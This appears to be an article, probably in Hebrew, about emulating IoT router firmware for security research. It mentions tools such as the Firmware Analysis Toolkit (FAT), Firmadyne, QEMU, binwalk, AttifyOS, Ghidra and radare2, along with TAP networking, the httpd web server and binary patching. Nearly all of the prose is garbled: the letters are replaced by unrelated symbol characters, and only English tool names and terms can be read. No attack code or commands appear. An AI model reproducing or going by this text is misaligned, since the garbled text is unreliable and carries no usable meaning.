 l ˰  ˢ˩   x ˮ˶˞˧˸   ˸ ˞   s ˷˧˪ˠˢ  ˸˞ˣ  ˢ˩˪˷ˢˢ  ˢ˪˷  Σ˸˰˧ˮˬ  ˸ˣ˶˧˷  Φ ˪ ˟˞   ˷ ˧  ˟˧˩˶  ˱˯ˣˮ  ˢ˪˰ˬ˷   ˸ ˞  

˸˶ˬˣ˥ ˢ˷˪ˣ˥ˢ  ˭˲ˣ˞˟ ˧˸ˣ˰ˬ˷ˬ Υ˸˟ˣ˸˩ˢ  ˢ˩˶ˡ˷ ˫˧˰˧ˠˬ  ˪˞ ˶˯˶˲ˢ  ˢˮ˧˞  ˸ ˮˠˣˬ ˢˬ˯˧˯˟ ˪˪˩ Φ 

˪ˡˣˬ  ˸ˣˬ˧˞ˢ  ˪˷  ˸˶˷  πsWeb  ˧ˣˮ˟  ˸˦˧˷˟  Ϧ˪˩ˢ  ˶˸ˣˬ  ˸˶˧˶˟˩  ˪ˡ˥ˬ  ΦϦ˶ˬˣ˪˩  Σ˵˶   ˫ ˧˟˧˸ˮ  

ˣˬ˷˶ˮ˷   ˷ ˶ˣ˲ˬ˟  ˫˰   ˪ ˪˩  ˸ˣˬ˧˞  ˫˧˷˶ˣˡ   ˸ ˞  ˸ˬ˯˧˯  ˪ˢˮˬˢ  Φ ˨ ˪ˢˬ˟  ˥ˣ˸˧ˮˢ  ˣˮ˧˲˧ˬ  ˸˞   ˸ ˬ˧˷˶  

 ˧ ˪˪˩  ˸ˣˬ˧˞ˢ  Σ x ˮ˧˞˶ˣ   ˧ ˮ˷˷  ˸ˣ˥˲˷ˬ   ˫ ˧˟˧˸ˮ  ˸ˣ˧ˤ˩˶ˬ ˭˩˞ ˸ˣˮˠˣˬ ˸ˣ˷˶ˣˡˣ  ˸ˣ˶˟˥˸ˢ  Φ˪˟˞   ˟ ˧˸ˮˢ  

ˣ˩˶ˡ˷  ˫˧˰˧ˠˬ  ˪˞  ˶˯˶˲   ˸ ˣ˞˪˰ˢˢ  Σ˟˧˸ˮ  ˶ˣˤ˥˷  ˸ˣ˶ˡˠˢˢ  Σˣˮ˧˞  ˰˧˲ˣˬ   ˸ ˬ˧˷˶˟  ˫˧˪˪˩ˢ  ˫˧ˮˠˣˬˢ  Φ

˞ˣˢ ˦ˣ˷˲ ˞˪  ˫ ˷˶ˮ Σ˭˩˪ˣ ˞ˣˢ  ˥ˣ˸˲ ˭˧˦ˣ˪˥˪ Φ 
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˸ˣ˰ˬ˷ˬˢ  ˸˧˷˰ˬˢ  ˞˧ˢ   ˪ ˩˷  ˢ˷˵˟  ˢ˰˧ˠˬ˷  ˪˞   ˟ ˧˸ˮˢ  ˢˤˢ  ˢ˰˧ˠˬ  ˪˞  ˶˯˶˲ˢ   ˧ ˪˟   ˫ ˣ˷   ˸ ˵˧ˡ˟  

˸ˣ˞˷˶ˢ  Φˣˮ˶˷˧˞  ˸˞ˤ  ˫ˠ  ˭ˬˤ˟   s ˴˧˶  Υˢ˷˵˟  ˸˪ˣ˦ˮ  ˧˦˶˲  ˸ˣ˶˟˥˸ˢ  ˢ˰˧ˠˬ  ˪˞  ˶˯˶˲ˢ   ˸ ˪˟˵ˬˣ  

ˢ˟ˣ˷˸ ˸˧ˮ˧˧ˮ˰ Σ˫˪ˣ˰˪  ˞˪   ˱ ˡ  ˸ˣ˶˟˥˸ˢ  Φˣˢˤ  ˟˧˩˶ˢ  ˨˲ˣˢ˷  ˸˞  ˢˬ  ˢ˧ˢ˷ ˪ˣ˩˧ ˸ˣ˧ˢ˪  ˡˣ˰   ˸ ˰˧ˮˬ  

˸ˣ˶˧˷   ˸ ˰˧ˮˬ˪   ˸ ˣ˶˧˷   ˪ ˩˷  ˡ˥˞   ˸ ˷˶˟  ˪ˣ˩˧  ˪˧˰˲ˢ˪  Σ˧˪˟  ˭ˣ˟˷˥  ˧˪˟ˣ  ˢˬ˯˧˯  Φ˥˶ˣ˞   ˪ ˰  ˸˷˶   sπ

Wi-Fi  Σˣ˞  ˣ˪˧˲˞  ˱ˡ   ˦ ˮ˶˦ˮ˧˞  ˧ˮˣˡˤ  ˣˢ˷˧ˬ˷  ˸˷˶˟  ˷˪ˣˠ  ˣ˧˪˞  ˭˲ˡ˲ˡ˟  ˣ˪˷  Σ˫˧˪ˣ˩˧  ˶ˠ˷˪   ˸ ˞  

ˢ˷˵˟ˢ  x ˤˢ  ˸ ˧˟˷ˢ˪ˣ  ˸ ˞ ˵˷ˬˬ ˪ˣˢ˧ˮˢ ˪˷ ˟˸ˮˢ Φ 

 ˪ ˞˧˴ˮ˦ˣ˲ˢ  ˞˪˷  ˫ˠˡˣˢ  Υ˸ˣˮ˧ˠˢ  ˸˧˶˵˥ˬ  ˸˟˧˧˥ˬ   x ˮ˸ˣ˞  ˡ˧˶˲ˢ˪  ˶ˣ˶˧˟˟   ˭ ˧˟  ˢˬ   ˥ ˩ˣˢ˷   ˭ ˧˟˪   s ˬ  

 ˵ ˶˷  ˧˶˷˲˞  Φˢˬ  ˣˮˬˠˡˢ˷   ˪ ˰ˣ˲˟   ˞ ˣˢ  ˸˰˧ˮˬ  ˸ˣ˶˧˷  Σ˸˸˟˷ˢ  ˵˷ˬˬ  ˪ˣˢ˧ˮˢ  Φ˸˞  ˢˤ   x ˮ˧˞˶  ˣˮ˧ˮ˧˰˟  Σ

˟ˣ˷  ˟ˣ˷ˣ Σˢ˶ˣ˴˟  ˸˶ˤˣ˥˷ ˪˰  ˢˬ˴˰Φ 
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 ˪ ˟˞  ˷˧   ˭ ˞˩   ˪ ˞˧˴ˮ˦ˣ˲   ˶ ˣˬ˥  ˶˸ˣ˧  Σ ˞ ˪˷  ˣˮ˷ˬ˧ˬ  Φ˶ˣ˩ˤ˩  Σˢ˷˧˪ˠˢ  ˸˯˶ˣˡ  ˸˞   ˰ ˧˟˴ˬˢ  Ϧ ˞ ˟ˢ  Ϧ

˸ˬ˧˷˶˟  ˫˧˵ˣ˪˟ˢ  ˫˧˧ˣˮ˲ˢ  ˫˧˩˶˰˟  ˱˵ˣ˸ˢ˷  ˦˪ˣ˷  ˫ˢ˟  Φˢ˦˧˪˷  ˰˧˟˴ˬ˟  ˢˤ˩  ˞˧ˢ  ˭˟˞   ˨ ˶ˡ  

 ˸ ˧˯˞˪˵  ˸˶˩ˣˬˣ  ˫˪ˣ˰˟   ˪ ˣ˴˧ˮ   ˸ ˣ˷˪ˣ˥  ˭ˣ˶˩˧ˤˢ  Σ˞˧ˢ  ˢ˪ˣ˩˧  Σ˭ˣ˶˵˧˰˟  Σ˪˧˟ˣˢ˪   s ˟˧˸˩˪   ˪ ˞   ˸ ˟ˣ˸˩  

 ˭ ˣ˶˩˧ˤ  ˸˧˸ˣ˶˧˶˷  ˱˵ˣ˸ˢ˷  ˶˥ˣ˟  Σ˫˷ˬˣ  ˱˞   ˸ ˴˶ˢ˪  ˡˣ˵  Φ˫˞ˣ  ˥˵˧ˮ   ˭ ˣ˟˷˥˟  ˸˶˷˷   sπWeb   ˳ ˶  

˸ˣ˞˷˶ˢ˟ root Σ ˧ ˶ˢ  ˸ ˴˶ˢ˷   l ˣ˵ ˣˤ˩ ˢ˸˧˧ˢ  ˸ ˣ˞˷˶ˢ˟ ˸ˣˢˣ˟ˠˢ ˶˸ˣ˧˟ Φ 

ˣˮ˥ˮ˞  ˞˪  ˣˮ˩˲ˢ  ˸˞  ˢ˷˧˪ˠˢ  ˣˤˢ  ˢ˟˧˸˩˪   ˸ ˧˸ˣ˶˧˶˷  ˣ˞  ˸˴˶ˢ˪  ˡˣ˵  Φ ˧ ˡ˩  ˸ˣ˷˰˪   ˸ ˞ˤ  ˢ˧ˢ   ˨ ˶ˣ˴  

˦ˣ˪˷˪ ˵ˣ˧ˡ˟  ˫˧˸˟˟ ˫˧˟˸˩ˮˢ ˸˯˧˶˲˟ˣ  ˭ ˣ˶˩˧ˤˢ Σ s ˡˣ˟˰ ˞˪˷  ˣˮ˰˴˧˟ Φ˪˟˞ ˪˞˧˴ˮ˦ˣ˲ˢ ˫˧˧˵Φ 

ˢˡ˟˰ˬˢ  ˢ˧˥ˢ  Σ˸˟˧˟˯  ˢ˧˴˪ˣˬ˞  Σ l ˰  ˢ˩  ˣˮˡ˟˰  ˪ˣˬ  ˟˸ˮˢ  ˧ˤ˧˲ˢ  Σˣ˞   x ˮ˥˸˧ˮ  ˸˞  πsFirmware   ˭ ˲ˣ˞˟  

˧˦˦˯  Σ˶ˬˣ˪˩  ˣˮ˞˶˵  ˸˞   l ˣ˵ˢ   ˧ ˪˟  ˳˧˶ˢ˪  ˣ˸ˣ˞  Φ˪˟˞   ˭ ˧˟   ˧ ˸˷   ˸ ˣ˷˧ˠˢ  ˢ˪˞ˢ  ˷˧   ˟ ˪˷  ˫˧˧ˮ˧˟   ˧ ˸ˬ˴ˣ˰  

ˡ˥ˣ˧ˬ˟  Υˢ˧˴˪ˣˬ˞  Φ˭ˣ˧˰˶ˢ  ˞ˣˢ  ˳˧˶ˢ˪   ˸ ˞  πsFirmware  ˢˮ˩ˣ˸˩  ˪˰  ˟˷˥ˬˢ  Σ ˨ ˣ˸˟  ˢˮˣ˩ˬ 

˸˧˪˞ˣ˦˶˧ˣ  Σ˧˪˟ ˢ˶ˬˣ˥ˢ˷ ˪˪˩˟ ˸˶˟ˣ˥ˬΦ 

 ˭ ˣ˶˸˧ˢ  ˫ˣ˴˰  Φ˫ˣ˞˸˲  ˶˷˲˞  ˶˟ˡ˪  ˫˰  ˵˷ˬˬ  πsWeb   ˪ ˷  ˟˸ˮˢ  Σ ˥ ˣ˪˷˪   x ˧˪˞  ˸ˣ˷˵˟  Σ˳˧˶ˢ˪   x ˧˪˰  

˧˪˩  ˠˣ˟˧ˡ  Σ ˪ ˩ˢ  ˢ˟˧˟˯˟  ˢ˥ˣ˦˟   ˭ ˧˦ˣ˪˥˪   ˧ ˪˟ˣ  ˫ˣ˷  ˢ˶ˬˣ˥  Φ˭˧˞  ˶˸ˣ˧   ˷ ˷˥  ˱ˣ˶˷˪  ˥ˣ˪  Σ ˧ ˲˩   s ˶˵˷   ˧ ˪  

 ˧ ˸˧˯˧ˮ˷˩   ˶ ˣ˵˥˪ ˭˲˥˶   ˧ ˮ˲˧  ˪ ˣˤ  Φ s ˧˴˪ˣˬ˞ ˞˧ˢ  ˨ ˶ˡˢ ˢ˥ˣ˦˟ˢ ˵ˣˡ˟˪   ˸ ˣ˷˪ˣ˥ ˣˬ˩ xʕ  ˧˸˶˞˧˸˷  Φ ˧ ˡ˩  

˸ˬ˞˪  ˢ˷˧˪ˠˢ˷  ˭˩˞  ˢ˸˧˟˷ˬ  ˸˞   ˸ ˶˷ˢ  Σ˧˸˧˧ˢ   ˨ ˧˶˴  ˶ˠ˷˪  ˣ˧˪˞  ˸ˣ˷˵˟  ˸ˣ˧ˮ˰ˠˣ˲  ˟ˣ˷   ˟ ˣ˷ˣ  Σ

ˢ˟˧˟˯˟ˣ  ˸˴˪ˬˣ˞ˬ  ˶˷˲˞  ˸ˣ˷˰˪  ˸˞ˤ  ˧˪˟  ˪˩  ˭ˣ˩˧˯  Σ˪˥˸˞˪ˣ  ˸˞  ˪˩ˢ  ˸˴˧˥˪˟  ˶ˣ˸˲˩  ˪˩˟   ˫ ˰˲  

ˣˢ˷ˬ˷ ˰˵˸ˮ Φ 

˧˪˩ˢ ˧ˤ˩˶ˬˢ  ˣ˟˷  ˧ ˸˷ˬ˸˷ˢ  ˞ˣˢ FAT  Σ ˶ ˣ˴˧˵  ˪ ˷ Firmware Analysis Toolkit  Φ 
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FAT   ˞ ˣˢ   s ˷˰ˬ˪   s ˲˧˦˰  ˢ˥ˣˮ   ˟ ˧˟˯  ˦˵˧ˣ˶˲  ˫˷˟  Firmadyne  Φˣˡ˧˵˲˸   ˪ ˷  Firmadyne  ˞ˣˢ   ˸ ˥˵˪  

˸ˮˣˬ˸  ˳˟ˣ˵  Firmware  ˧ˬ˪ˣˠ  π  Φbin  ˳˪˥˪ˣ  ˢˮˬˬ  ˸˞  ˸˩˶˰ˬ  ˫˧˴˟˵ˢ  Σ˳˧˶ˢ˪ˣ  ˢ˸ˣ˞   ˨ ˣ˸˟  

˶ˣ˦˪ˣˬ˞  QEMU  ˫˰  ˪ˮ˶˵  ˫˞ˣ˸  ˢ˶ˣ˦˵˦˧˩˶˞˪  Σˢ˶˵ˬ˟  ˧˪˷  Σ˪ˮ˶˵  ˪˷  MIPS  Φ ˫ ˧˪˧ˬ˟  ˸ˣ˶˥˞  Σ

FAT ˥˵ˣ˪  ˳˟ˣ˵ Firmware ˢ˯ˮˬˣ Σ˦˰ˬ˩ ˡ˟˪ Σ˨ˣ˲ˢ˪ ˣ˸ˣ˞  ˟˸ˮ˪ ˧˥  ˳˶˷ ˪˰ ˟˷˥ˬˢΦ 

 

˸˞  ˪˩  ˸˩˶˰  ˫˧˪˩ˢ   x ˤˢ  ˫˧˪˟˵ˬ   s ˤˣ˶˞  ˢˮ˩ˣˬˣ  ˨ˣ˸˟  AttifyOS  π  ˸˴˲ˢ   ˯ ˵ˣˮ˧˪   ˸ ˧ˡˣ˰˧˧   ˸ ˣ˵˧ˡ˟˪  

ˢ˶˧ˡ˥  ˪˷  ˧˶˧˷˩ˬ  IoT  π  ˡˣ˞ˬ  ˳˪ˬˣˬ  Σˢ˴˲ˢˢ  ˢ˰˧ˠˬ  ˫˰  ˪˩  ˫˧˪˩ˢ  ˣˮ˥ˮ˞˷  ˫˧˩˧˶˴  ˶˟˩  ˫˧ˮ˵˸ˣˬ  Υ

binwalk  ˳ˣ˪˧˥˪  ΣFirmadyne  πxFAT  ˢ˧˴˪ˣˬ˞˪  ΣπxGhidra  πxradare2  -˪reverse engineering  Φ

ˢ˴˲ˢˢ  ˸˴˲ˣˬ  ˳˟ˣ˵˩  ˢˮˣ˩ˬ  ˸˧˪˞ˣ˦˶˧ˣ  ˫˧˞˟˧˧ˬ˷  ˪˞  ˸ˮ˩ˣ˸  ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣˢ  Σ˫˧˯ˮ˩ˮˣ  ˢ˧˪˞   ˫ ˰  

˫˷  ˷ ˬ˸˷ˬ ˢˬ˯˧˯ˣ ˫˧˰˧ˠˬ˷ ˸˶˧˶˟˩ ˪ˡ˥ˬ Φ 

˟ˣ˷˥  ˭˧˧˴˪  π˷FAT/Firmadyne  ˫ˢ  ˞˪  ˨˶ˡˢ  ˢˡ˧˥˧ˢ  Φ ˶ ˷˲˞  ˫˧˵ˢ˪  ˸˟˧˟˯  ˢ˧˴˪ˣˬ˞  ˫ˠ   ˸ ˣ˰˴ˬ˞˟  

Buildroot  π  ˢ˧˧ˮ˟  ˪˷  ˸˩˶˰ˬ  ˯˵ˣˮ˧˪  ˸˰ˬ˦ˣˬ  ˢˬ˞˸ˢ˟  ˸˧˷˧˞  Σˢ˩ˣ˸˟˷   ˫ ˧˴˧˶ˬ   ˸ ˞  ˧˶˞ˮ˧˟ˢ   ˪ ˷  

˟˸ˮˢ Φ˧˧˶˟˥ ˫˧˟ˣ˦ˢ  ˶ ˟˩  x ˶˧˟˯ˢ ˸˞  ˨ ˧˪ˢ˸ˢ ˢˤˢ  ˵ ˬˣ˰˪ Σ˫˧ˮˬˤˣˬ ˞ˣ˶˵˪ ˭˞˩ .  

˸ˣ˶ˣˬˢˬˢ  ˢˮ˵˸ˢ˟  Σˢˮ˵˸ˢˢ   ˞ ˪  ˢ˸˧˧ˢ  ˢ˵˪˥  ˧˶ˬˠ˪  Σˢˣˣ˷ˣ  ˶˧˩ˢ˪  ˸˞  ˸ˣ˶ˣˬˢˬˢ  ˷˞˶ˬ   ˧ ˡ˩  

˨ˣ˯˥˪  ˭ˬˤ  Φ˭˧˧˴˞  ˭˸ˣ˞  ˭˞˩  ˢ˶˴˵˟  Σ˧˪˟  ˯ˮ˩˧ˢ˪  ˪˩˪  ˫˧˦˶˲ˢ  ˫˧˧ˮ˩˦ˢΦ  ˢ˧˰˟ˢ  ˢˮˣ˷˞˶ˢ  Υ˟˸ˮ   ˧ ˥  

 ˧ ˪˟  ˸˷˶  Φ˶˥˞˪  ˫˧˴˧˶ˬ˷  ˸˞  FAT  ˪˰  ˳˟ˣ˵  πsFirmware  Σ ˧ ˪˩ˢ  ˳˪˥ˬ   ˸ ˞  ˢ˥˷ˣ˵ˢ  Σˢˢˤˬ   ˸ ˞  

ˢ˶ˣ˦˵˦˧˩˶˞ˢ  Σˢˮˣ˟  ˸ˮˣˬ˸   s ˧˴˪ˣˬ˞   ˪ ˧˥˸ˬˣ  ˳˧˶ˢ˪  ˢ˸ˣ˞  Φ˶ˣ˦˪ˣˬ˞ˢ  ˢ˪ˣ˰  Σ˪ˮ˶˵ˢ  ˪˧˥˸ˬ  ˳ˣ˶˪  Σ

ˤ˞ˣ ˢ˰˧ˠˬ ˢ˟ˤ˩˞ˢ Φ ˟ ˸ˮˢ ˢ˪ˣ˰ Σ˪˟˞ ˪˩ ˧˵˷ˬˬ ˸˷˶ˢ ˣ˪˷ ˫˧˸ˬ ˭˧˞ˣ x˪ ˫ˣ˷ ˸˟ˣ˸˩ IP Φ 
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˞˪˪   ˸ ˷˶  ˭˧˞  ˵˷ˬˬ  Web  ˭˧˞ˣ  ˸ˣ˶˷˲˞  ˶˷˵˸˪  ˫˰  ˟˸ˮˢ  Φ˪˩  ˭ˣ˶˸˧ˢ   ˪ ˷   s ˧˴˪ˣˬ˞ˢ  Σ ˸ ˪ˣ˩˧ˢ  

˥ˣ˪˷˪  ˸ˣ˷˵˟   ˪ ˞ ˟˸ˮˢ Σ˦ˣ˷˲ ˫˪˰ˮ Φ 

˭ˣ˶˸˲ˢ   ˨ ˩˪  ˞˶˵ˮ  TAP  Φ ˸ ˣ˰˴ˬ˞˟  ˸˶˧˴˧   ˵ ˷ˬˬ  TAP  ˸˶ˡˠˢˣ  ˸ˣ˟ˣ˸˩  IP  ˭ˢ   ˟ ˷˥ˬ˟  ˥˶˞ˬˢ   ˭ ˢˣ  

˟˸ˮ˟  Σ ˭ ˸˧ˮ   ˶ ˟˥˪   ˫ ˢ˧ˮ˧˟  ˢ˸ˣ˞˟   ˸ ˷˶  ˸˧˪˞ˣ˦˶˧ˣ  Φ ˶ ˥˞˪  ˫˧ˬ˧˵ˬ˷   ˸ ˞   ˶ ˣ˟˧˥ˢ  ˫˧˶˧ˡˠˬˣ   ˸ ˞  

 ˸ ˣ˟ˣ˸˩ˢ   ˧ ˮ˷˟  ˣ˧ˡ˴  Σ ˰ ˧ˠˬ   ˰ ˠ˶ˢ   x ˟˷   ˪ ˣ˩ˢ  ˶˟˥˸ˬ  Φ˟˷˥ˬˢˬ   ˥ ˶˞ˬˢ  ˫˧˥˪ˣ˷  ˸˵˧ˡ˟   ˸ ˣ˧˥  

ˢ˦ˣ˷˲  ˪˞  ˸˟ˣ˸˩  ˟˸ˮˢ   ˫ ˧˪˟˵ˬˣ  ˢ˟ˣ˷˸  Φ ˶ ˣ˟˧˥ˢ  ˧˥  Φ˫˧˥˸ˣ˲  ˭˲ˡ˲ˡ  Σ˫˧˷ˠ˧ˮ   ˪ ˞   ˸ ˟ˣ˸˩  ˟˸ˮˢ  Σ

ˣˮ˧ˮ˲˪ˣ ˷˶˲ˮ ˵˷ˬˬ  ˪ ˣˢ˧ˮˢ ˞˪ˬˢ ˪˷ ˟˸ˮˢ Σ˳˶ ˣ˪ˣ˩   ˨ ˣ˸˟  ˢ˧˴˪ˣˬ˞ Σ ˧ ˪˟  ˫ ˣ˷ ˢ˶ˬˣ˥ ˸˶˟ˣ˥ˬ Φ 

ˢ˧˰˟ˢ   s ˧˧ˮ˷ˢ  Υ˫ˠ  ˶˥˞˪  ˸˷˶ˢ˷  ˢ˪˰˲  Σ˵˷ˬˬ  ˪ˣˢ˧ˮˢ  ˭˧˧ˡ˰  ˞˪  ˢ˧ˢ  ˭˧ˬˤ  Φˢ˟˧˯ˢ   ˨ ˩˪   s ˸˧˧ˢ  

˸˟˧˟˯˷   s ˧˴˪ˣˬ˞ˢ   s ˮ˧˞  ˸˪˪ˣ˩   ˸ ˞   ˪ ˩   ˧ ˪ˢˮˬ   ˫ ˧ˮ˵˸ˢˢ   ύDrivers  ό˫˧˧ˡˣ˰˧˧ˢ  ˪ ˷  ˟˸ˮˢ  Σ˭˩˪ˣ   ˵ ˪˥  

˧˵˷ˬˬˬ  ˢ˶ˬˣ˥ˢ  ˢ˥˷ˣ˵ˢ˷  ˢ˸˲˧˴  ˫ˢ˪  ˪˪˩  ˞˪  ˣˬ˧˧˵˸ˢ  Φˢ˞˴ˣ˸˩  ˨˩ˬ  Σ˸˶˷   s-Web  ˪˷   ˟ ˸ˮˢ  

ύhttpd  ό˯˶˵  ˡ˧ˬ   ˫ ˰  ˣ˸˧˧˪˰  Φ˶˥˞˪  ˥ˣ˸˧ˮ  ˢ˯˧˶˵ˢ   ˰ ˣ˴˧˟ˣ  ˭ˣ˵˧˸  ˧˸ˡˣ˵ˮ  ύBinary Patch  ό ˳ ˟ˣ˵˪  
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